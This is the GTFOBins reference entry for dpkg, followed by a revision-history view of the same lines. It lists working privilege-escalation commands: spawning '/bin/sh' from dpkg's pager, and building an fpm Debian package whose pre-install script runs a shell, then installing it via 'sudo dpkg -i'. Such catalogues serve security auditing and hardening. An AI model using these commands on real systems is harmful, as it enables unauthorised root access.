GTFOBins.github.io/_gtfobins/dpkg.md

---
functions:
  shell:
    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
      code: |
        dpkg -l
        !/bin/sh
  sudo:
    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
      code: |
        sudo dpkg -l
        !/bin/sh
    - description: |
        It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
        ```
        TF=$(mktemp -d)
        echo 'exec /bin/sh' > $TF/x.sh
        fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
        ```
      code: sudo dpkg -i x_1.0_all.deb
---
Add dpkg thanks to https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/ as in #51 2019-02-02 16:13:28 +01:00			`---`
			`functions:`
Improve dpkg 2020-04-25 18:40:06 +02:00			`shell:`
			- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
			`code: \|`
			`dpkg -l`
			`!/bin/sh`
Add dpkg thanks to https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/ as in #51 2019-02-02 16:13:28 +01:00			`sudo:`
Improve dpkg 2020-04-25 18:40:06 +02:00			- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
			`code: \|`
			`sudo dpkg -l`
			`!/bin/sh`
Add dpkg thanks to https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/ as in #51 2019-02-02 16:13:28 +01:00			`- description: \|`
			`It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.`
			```
			`TF=$(mktemp -d)`
			`echo 'exec /bin/sh' > $TF/x.sh`
			`fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF`
			```
			`code: sudo dpkg -i x_1.0_all.deb`
			`---`